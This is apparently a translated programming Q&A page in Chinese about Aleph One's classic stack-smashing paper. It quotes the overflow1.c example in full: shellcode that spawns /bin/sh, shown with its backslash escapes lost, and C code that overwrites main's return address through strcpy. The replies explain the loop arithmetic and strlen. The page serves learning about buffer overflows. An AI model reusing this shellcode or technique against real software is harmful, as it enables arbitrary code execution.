c语言 - 了解 Aleph One 的第一个缓冲区溢出漏洞



我正在阅读Aleph one的"Smashing The Stack For Fun And Profit",并到达了这个位置:

overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
        "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
        "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
        "x80xe8xdcxffxffxff/bin/sh";
char large_string[128];
void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;
  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;
  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];
  strcpy(buffer,large_string);
}

现在,我了解了漏洞利用背后的所有理论:shellcode[]位于数据段(可写(中,包含生成 shell 的代码。

我们希望将其内容复制到 main 的缓冲区,此外还覆盖 main 的返回地址到缓冲区的开头(以便执行控件将是我们的"生成 shell"代码。我们通过shellcode复制到large_string[]缓冲区(第二个 for 循环(来实现,large_sting[]的其余部分(???(将包含缓冲区的地址(第一个 for 循环(。

当然,main的返回地址将被这个缓冲区的地址覆盖,因为我们将large_string[]复制到buffer[](strcpy(。

我的问题是漏洞利用的小细节:


1.(

为什么第一个 for 循环是从 i=0i=31 ?我的意思是,考虑到指针算术,它是如何工作的?[ large_string[] 只有 128 字节]

2.(

什么是srlen(shellcode)


我会对这种事情进行一些澄清。

谢谢!

1(为什么第一个for循环是从i=0到i=31?我的意思是,考虑到指针算术,它是如何工作的?[large_string[] 只有 128 字节]

一次复制四个字节(它依赖于知道目标平台上4 sizeof(int)(,并且32 * 4 == 128 .

2(什么是srlen(shellcode(?

它是shellcode中的字节数(这取决于shellcode不包含嵌入的字符的事实(。

相关内容

最新更新